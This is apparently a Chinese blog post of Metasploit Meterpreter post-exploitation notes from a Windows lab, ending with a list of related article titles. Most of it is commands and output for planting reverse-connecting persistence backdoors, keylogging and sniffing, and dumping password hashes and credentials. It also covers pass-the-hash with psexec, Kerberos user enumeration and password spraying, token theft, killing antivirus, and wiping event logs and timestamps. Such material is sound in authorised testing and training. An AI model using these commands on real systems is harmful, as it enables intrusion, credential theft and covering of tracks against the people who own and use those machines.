目录

  • 后门
    • persistence
    • metsvc
  • 图形界面
    • getgui
  • 信息收集
    • 判断目标是不是虚拟机
    • arp主机发现
    • nmap主机发现
    • dumplink-最近访问的文件记录
    • enum_applications-安装的软件
    • 收集补丁信息
    • 键盘记录
    • 抓包
    • 浏览器
    • 系统口令
    • kiwi
  • 内网渗透
    • 开启远程桌面
    • 添加路由
    • 445端口扫描
    • 哈希值传递攻击-psexec
    • Portfwd端口转发
    • 域信息收集
    • 密码喷射
    • 令牌窃取
  • 痕迹清理

后门

由于 Meterpreter是仅仅驻留在内存中的 Shellcode,一旦目标主机重启,将失去这台机器的控制权,如果管理员将利用的漏洞打上补丁,那么重新入侵将会变得困难。好在Metasploit提供了 Persistence与 metsvc等后渗透攻击模块,通过在目标主机上安装自启动和永久服务的方式,就可以长久地控制目标主机。
下面两种方式很简单,隐蔽性很差,过不了杀软,高级玩法应该是上传免杀处理后的远程控制工具进行控制

persistence

第一步:创建后门

run persistence -X -i 5 -p 443 -r 192.168.50.131

在Meterpreter会话中运行persistence后渗透攻击模块:

  • 在目标主机的注册表键 HKLM Software Microsoft Windows Currentversion run中添加键值,以便自启动
  • -X参数指定启动的方式为开机自启动
  • -i参数指定反向连接的时间间隔
  • -p参数指定回连的端口
  • -r参数指定回连的攻击者ip

第二步:连接后门
实测并不好用,重启win7没有连接到kali

msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.50.131
LHOST => 192.168.50.131
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > show options Module options (exploit/multi/handler):Name  Current Setting  Required  Description----  ---------------  --------  -----------Payload options (windows/meterpreter/reverse_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)LHOST     192.168.50.131   yes       The listen address (an interface may be specified)LPORT     443              yes       The listen portExploit target:Id  Name--  ----0   Wildcard Targetmsf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.50.131:443
[*] Sending stage (176195 bytes) to 192.168.50.128
[*] Meterpreter session 1 opened (192.168.50.131:443 -> 192.168.50.128:50284) at 2020-11-02 01:45:43 -0500meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : someone-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

metsvc

使用metsvc,把Meterpreter以系统服务的方式安装到目标机器上
只需简单地运行 metsvc模块,将在目标主机的31337端口开启后门监听服务,并上传三个 Meterpreter的模块:

  • meter.dll( Meterpreter的功能实现DLL程序)
  • metso- server.exe(服务启动时运行的程序,目的是对 metsrv . d进行加载)
  • metsvc.exe(将上述两个文件安装成服务)

服务安装成功后,将在目标主机上开启监听,并等待连接。服务项如下图所示。

图形界面

getgui

正常情况下,通过如下命令会在目标机器上新建一个账号,并开启远程控制终端,这时在本地连接目标IP的3389(远程桌面)进行控制;如果对方在内网中可以使用portfwd命令做端口转发。
最后还可以通过run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20201102.2605.rc来清理痕迹,关闭服务,删除添加的账号。(这里不知道为什么我失败了)

很无语,注销win7时发现,msf和zhangsan账户都被成功添加了

信息收集

判断目标是不是虚拟机

使用use post/windows/gather/forensics/enum_drives列举目标主机的磁盘驱动器;
使用post/windows/gather/checkvm检查目标机器是不是虚拟机

arp主机发现

扫描速度不快,并且有疏漏,我这里没有把DC:10.10.10.149扫出来

meterpreter > run post/windows/gather/arp_scanner rhosts=10.10.10.150/24[*] Running module against WEB
[*] ARP Scanning 10.10.10.150/24
[+]     IP: 10.10.10.150 MAC 00:0c:29:8d:10:77 (VMware, Inc.)
[+]     IP: 10.10.10.255 MAC 00:0c:29:8d:10:77 (VMware, Inc.)
meterpreter > run arp_scanner -r 10.10.10.0/24
[*] ARP Scanning 10.10.10.0/24
[*] IP: 10.10.10.150 MAC 00:0c:29:8d:10:77
[*] IP: 10.10.10.255 MAC 00:0c:29:8d:10:77

nmap主机发现

如果跳板机上安装的有nmap之类的工具,可以直接调用它
https://www.yuque.com/u1881995/xwfvho/uag24t#42292202

dumplink-最近访问的文件记录

查看目标机器的最近访问的文件记录,即C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Recent

meterpreter > run post/windows/gather/dumplinks [*] Running module against YXY-PC
[*] Running as SYSTEM extracting user list...
[*] Extracting lnk files for user yxy at C:\Users\yxy\AppData\Roaming\Microsoft\Windows\Recent\...
[*] Processing: C:\Users\yxy\AppData\Roaming\Microsoft\Windows\Recent\1.lnk.
[*] Processing: C:\Users\yxy\AppData\Roaming\Microsoft\Windows\Recent\1.txt.lnk.
[*] Processing: C:\Users\yxy\AppData\Roaming\Microsoft\Windows\Recent\2.jpg.lnk.

enum_applications-安装的软件

获得目标主机安装的软件、安全更新与漏洞补丁的信息

meterpreter > run post/windows/gather/enum_applications[*] Enumerating applications installed on YXY-PCInstalled Applications
======================Name                                                                Version----                                                                -------7-Zip 19.00 (x64)                                                   19.00Everything 1.4.1.988 (x64)                                          1.4.1.988Java 8 Update 144 (64-bit)                                          8.0.1440.1Java Auto Updater                                                   2.8.144.1Java SE Development Kit 8 Update 144 (64-bit)                       8.0.1440.1Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729           9.0.30729Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.20.27508  14.20.27508.1

收集补丁信息

run post/windows/gather/enum_patches

键盘记录

方式1:
下面这种方法是后台记录,不会占用meterpreter。在你准备停止记录之前,使用keyscan_dump查看记录结果,一旦停止记录,将不能查看结果

meterpreter > keyscan_start           ##开始记录
Starting the keystroke sniffer ...
meterpreter > keyscan_dump           ##记录结果
Dumping captured keystrokes...meterpreter > keyscan_stop             ##停止记录
Stopping the keystroke sniffer...
meterpreter >

方式2:
使用run post/windows/capture/keylog_recorder,记录体验较好,但是会占用meterpreter

meterpreter > run post/windows/capture/keylog_recorder[*] Executing module against DESKTOP-BQM7KV7
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20220122022417_default_192.168.40.1_host.windows.key_946268.txt
[*] Recording keystrokes...
^C[*] User interrupt.
[*] Shutting down keylog recorder. Please wait...
meterpreter >

抓包

Sniffer Commands
================Command             Description-------             -----------sniffer_dump        Retrieve captured packet data to PCAP filesniffer_interfaces  Enumerate all sniffable network interfacessniffer_release     Free captured packets on a specific interface instead of downloading themsniffer_start       Start packet capture on a specific interfacesniffer_stats       View statistics of an active capturesniffer_stop        Stop packet capture on a specific interface

浏览器

run post/windows/gather/enum_ie

在 Meterpreter会话中运行 post/windows/gather/enum ie模块,将目标主机的IE浏览历史记录、保存的Cookie,以IE缓存的密码,都保存到本地文件

系统口令

对于系统口令的攫取, Meterpreter的用户接口命令里就有集成的 hashdump命令,可以直接获取系统的密码哈希,使用命令如下:

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:508e71dc398024a7de82488e85beaa93:::
msf:1004:aad3b435b51404eeaad3b435b51404ee:e37e07c21dbcc0c19ca053756ecc2278:::
zhangsan:1003:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

Meterpreter的hashdump命令在非system权限下会失败,而且在 Windows7/ista、 Windows2008 Server下有时候会出现进程移植不成功等问题,而 Metasploit中的后渗透攻击模块 smart_hashdump功能更为强大。

Smart hashdump后渗透攻击模块的工作流程如下:
1)检查会话具有的权限和目标操作系统的类型;
2)检查目标机是否是域控制服务器
3)在以上信息的基础上,首先尝试直接从注册表中读取哈希值,不成功的话再尝试注入 LSASS进程,如果是域控制器将直接对 LSASS进程进行注入;
4)如果目标系统是 Windows2008 Server,而且会话具有管理员权限,这时使用getsystem命令尝试获得 system权限,如果在 system权限下不能注入 LSASS进程,这时会用migrate命令将代码移植到已经运行在 system权限下的进程中,然后再对 LSASS进程进行注入;
5)如果检测到目标系统是 Windows7/vsta,UAC已经关闭,而且会话具有本地管理员权限,这时运行 geosystem命令从注册表中读取;
6)在 Windows20032000XP系统下直接运行 geosystem命令,如果成功再从注册表中读取哈希值。

可以看出, smart_hashdump模块考虑到了在多种系统环境下密码哈希获取的差异,以及在 LSASS进程注入不成功情况下的解决办法,成功率显然提高了不少。但是如果Windows7开启了UAC,获取密码哈希和 getsystem命令都会失败,这时则需要首先使用绕过 Windows7UAC的后渗透攻击模块

哈希值利用

  1. 利用方法就是使用 L0phtCrack等破解工具破解出明文口令后再进行利用。然而如果不是像“123456”这样落入字典文件的弱口令,口令破解需要很长的时间,对于复杂口令则不可能破解出来
  2. 利用方法就是不用破解口令哈希,而是直接进行重放利用, Metasploit中就集成了著名的 psexec工具,利用获取的系统口令哈希进行传递攻击

其他:Metasploit也提供了对 John The Ripper口令破解工具的集成,模块名称为 auxiliary/analyze/jtr_crack_fast

kiwi

在最新的MSF版本中,load mimikatz已经取消,现在使用kiwi模块。
一些应用案例:https://www.yuque.com/u1881995/xwfvho/axoplg#Gsiqg

creds_all 列举所有凭据
creds_kerberos 列举所有kerberos凭据
creds_msv 列举所有msv凭据
creds_ssp 列举所有ssp凭据
creds_tspkg 列举所有tspkg凭据
creds_wdigest 列举所有wdigest凭据
dcsync 通过DCSync检索用户帐户信息
dcsync_ntlm 通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create 创建黄金票据
kerberos_ticket_list 列举kerberos票据
kerberos_ticket_purge 清除kerberos票据
kerberos_ticket_use 使用kerberos票据
kiwi_cmd 执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam dump出lsa的SAM
lsa_dump_secrets dump出lsa的密文
password_change 修改密码
wifi_list 列出当前用户的wifi配置文件
wifi_list_shared 列出共享wifi配置文件/编码

内网渗透

开启远程桌面

在meterpreter中使用run post/windows/manage/enable_rdp
直连:https://www.yuque.com/u1881995/xwfvho/iizvrw#ocZsE
代理连接:https://www.yuque.com/u1881995/xwfvho/iizvrw#QO8Yz

添加路由

实战案例:代理-内网跳板机、项目4、项目6

445端口扫描

use auxiliary/scanner/portscan/tcp
show options
set RHOSTS 192.168.50.0/24
set PORTS 445
set THREADS 100
run

哈希值传递攻击-psexec

在metasploite中存在一个psexec模块,可以使用获取的hash进行登录。这里拿下一台域内主机10.10.10.138,对拥有同样账密的10.10.10.139测试psexec

  1. 获取hash
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter >
  1. 发现内网开放SMB服务器的机器
use auxiliary/scanner/smb/smb_version
set THREADS 10
set RHOSTS 10.10.10.0/24
exploit

  1. 使用psexec
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set SMBUser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
set rhosts 10.10.10.139
set lhost 10.10.10.128
exploit

Portfwd端口转发

参见:语雀地址、CSDN地址

域信息收集

常用信息收集模块

auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使用
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname

收集域信息

run post/windows/gather/enum_logged_on_users #查看登录过的用户信息
run post/windows/gather/enum_ad_groups #查看组信息
run post/windows/gather/enum_domain #定位域控
run post/windows/gather/enum_ad_computers #域内所有机器
use post/windows/gather/enum_patches #发现缺失的补丁
use post/multi/recon/local_exploit_suggester #快速识别可能被利用的漏洞
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
run post/windows/gather/enum_domain_tokens #寻找域token

密码喷射

网上有相关字典:https://github.com/attackdebris/kerberos_enum_userlists,我这里准备一个小字典。
注意:在尝试猜测密码时, 应考虑域的帐户锁定策略。一个明智的方法是一次尝试一个密码, 限制自己猜测两次(系统设置为锁定后3无效尝试) 或猜测四次(系统设置为锁定5无效尝试后) 每30分钟对一个帐户。30分钟是典型的 “lockout observation window”。

  1. 获取到dc(10.10.10.136)和域名称(redteam.club)

  1. 攻击
use auxiliary/gather/kerberos_enumusers
set DOMAIN redteam.club
set rhosts 10.10.10.136
set user_file /home/kali/name.txt
exploit

令牌窃取

更详细的理论解释,参见之前的文章:令牌窃取。实战案例,参见:项目6

load incognito       # 加载incognito
list_tokens -u      # 列出当前系统可用的token
impersonate_token "NT AUTHORITY\SYSTEM"       # 选择要窃取的账号
rev2self                    # 返回原始tokenps                             # 查看系统进程信息
steal_token <pid值>    # 从指定进程中窃取token
drop_token              # 删除窃取的token

痕迹清理

使用clearev清理日志痕迹等

meterpreter > clearev
[*] Wiping 1720 records from Application...
[*] Wiping 10965 records from System...
[*] Wiping 2776 records from Security...

使用timestomp篡改文件的修改或者访问时间

meterpreter > timestomp helpUsage: timestomp <file(s)> OPTIONSOPTIONS:-a <opt>  Set the "last accessed" time of the file-b        Set the MACE timestamps so that EnCase shows blanks-c <opt>  Set the "creation" time of the file-e <opt>  Set the "mft entry modified" time of the file-f <opt>  Set the MACE of attributes equal to the supplied file-h        Help banner-m <opt>  Set the "last written" time of the file-r        Set the MACE timestamps recursively on a directory-v        Display the UTC MACE values of the file-z <opt>  Set all four attributes (MACE) of the file

MSF后渗透模块Meterpreter相关推荐

  1. 如何黑掉一个宇宙?一文带你详解Meterpreter后渗透模块攻击(文末赠送免费资源哦~)

    如何黑掉一个宇宙?一文带你详解Meterpreter后渗透模块攻击(文末赠送免费资源哦~) 文末赠送超级干货哈 一.名词解释 exploit 测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料 ...

  2. Meterpreter后渗透模块命令字典

    一.系统命令 1.快捷操作 此板块用于记录用于操作meterpreter的指令 sessions #查看全部会话 –h 查看帮助 sessions -i <shell ID> #进入会话 ...

  3. 后渗透之meterpreter学习笔记

    0x00 前言 由于最近想学习关于内网渗透的一些知识,前面也有师傅写了关于meterpreter的使用攻略,我这里就来复现学习一下. Meterpreter是Metasploit框架中的一个扩展模块, ...

  4. 后渗透之meterpreter使用攻略

    本文转载来源:https://xz.aliyun.com/t/2536 Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,本文主要整理了meterpreter的常用命令. ...

  5. 渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)

    1.目标机器权限提升 权限提升(privilege escalation) : 攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权至高权限的管理员用户,从而获得对整个系统得控制权.Windo ...

  6. msf后渗透之文件交互指令、上传下载文件、屏幕截图、键盘记录、创建账户、音频录像和提权(上)

    目录 1.文件交互指令 2.上传下载文件(windows) 3.屏幕截图(windows) 4.键盘记录(windows) 1.先启动记录keyscan_start 2.显示键盘输入内容keyscan ...

  7. [系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  8. 带你了解后渗透工具Koadic

    前言: 在朋友的博客上看到推荐的一款工具Koadic,我接触了以后发现很不错这款工具的强大之处我觉得就是拿到shell后的各种模块功能,我就自己写出来发给大家看看吧. 首先把项目克隆到本地: 项目地址 ...

  9. 渗透测试常用工具-使用meterpreter模块进行后渗透测试

    使用meterpreter模块进行后渗透测试 第一步,打开网络拓扑,点击启动选项,启动实验虚拟机 第二步,使用ifconfig和ipconfig命令分别获取渗透机和靶机的IP地址,使用ping命令进行 ...

最新文章

  1. 二维码检测哪家强?五大开源库测评比较
  2. 【LeanEAP.NET】精益企业应用平台---源码Demo下载
  3. 调试笔记--keil 测量周期小技巧
  4. 深度学习笔记4:深度神经网络的正则化
  5. Angular8 - 稳定版修改概述(Angular 8的新特性介绍)
  6. java 四种内存_不可访问内存 Java四种引用包括强引用,软引用,弱引用,虚引用...
  7. 怎样在dos窗口中启动mysql服务器_如何在dos命令中启动mysql或sql server 服务器的一些操作...
  8. vim配置之snippets代码块
  9. 计算机网络与通信的课程报告,计算机网络与通信课程设计报告.doc
  10. JZOJ 3515. 软件公司
  11. ubuntu编译libid3tag库报错问题解决
  12. 编译器说 Lambda 表达式中的变量必须是 final 的,我偏不信 | 原力计划
  13. HMM-MEMM-CRF
  14. 微信小程序背景音乐的调试
  15. 体系建模系统软件:体系结构建模工具攻略
  16. 计算机启动dos,开机怎么进入dos_开机怎么进入dos界面
  17. JDK/ADB环境变量配置
  18. 小世界网络——利用Networkx分析武汉公交网络
  19. 纯手工焊接七彩圣诞树
  20. ode45 matlab 出错,Matlab中ode45求解出错

热门文章

  1. 试着使用SDL2复刻曹操传(一)
  2. 手机锁屏密码忘了怎么办?用这两招,自己在家就能搞定!
  3. 矩阵论 第二章 矩阵的分解
  4. ESPCMS系统模板结构图
  5. skynet源码解析(三)——启动流程
  6. 感应电机 异步电机定子匝间短路仿真 matlab simulink
  7. 校园兼职平台的设计与开发
  8. mysql 从库 read-only_mysql salve从库设置read only 属性
  9. 关于矩形窗函数DFT和FFT的笔记
  10. 【读书】领导梯队-从管理自我到管理他人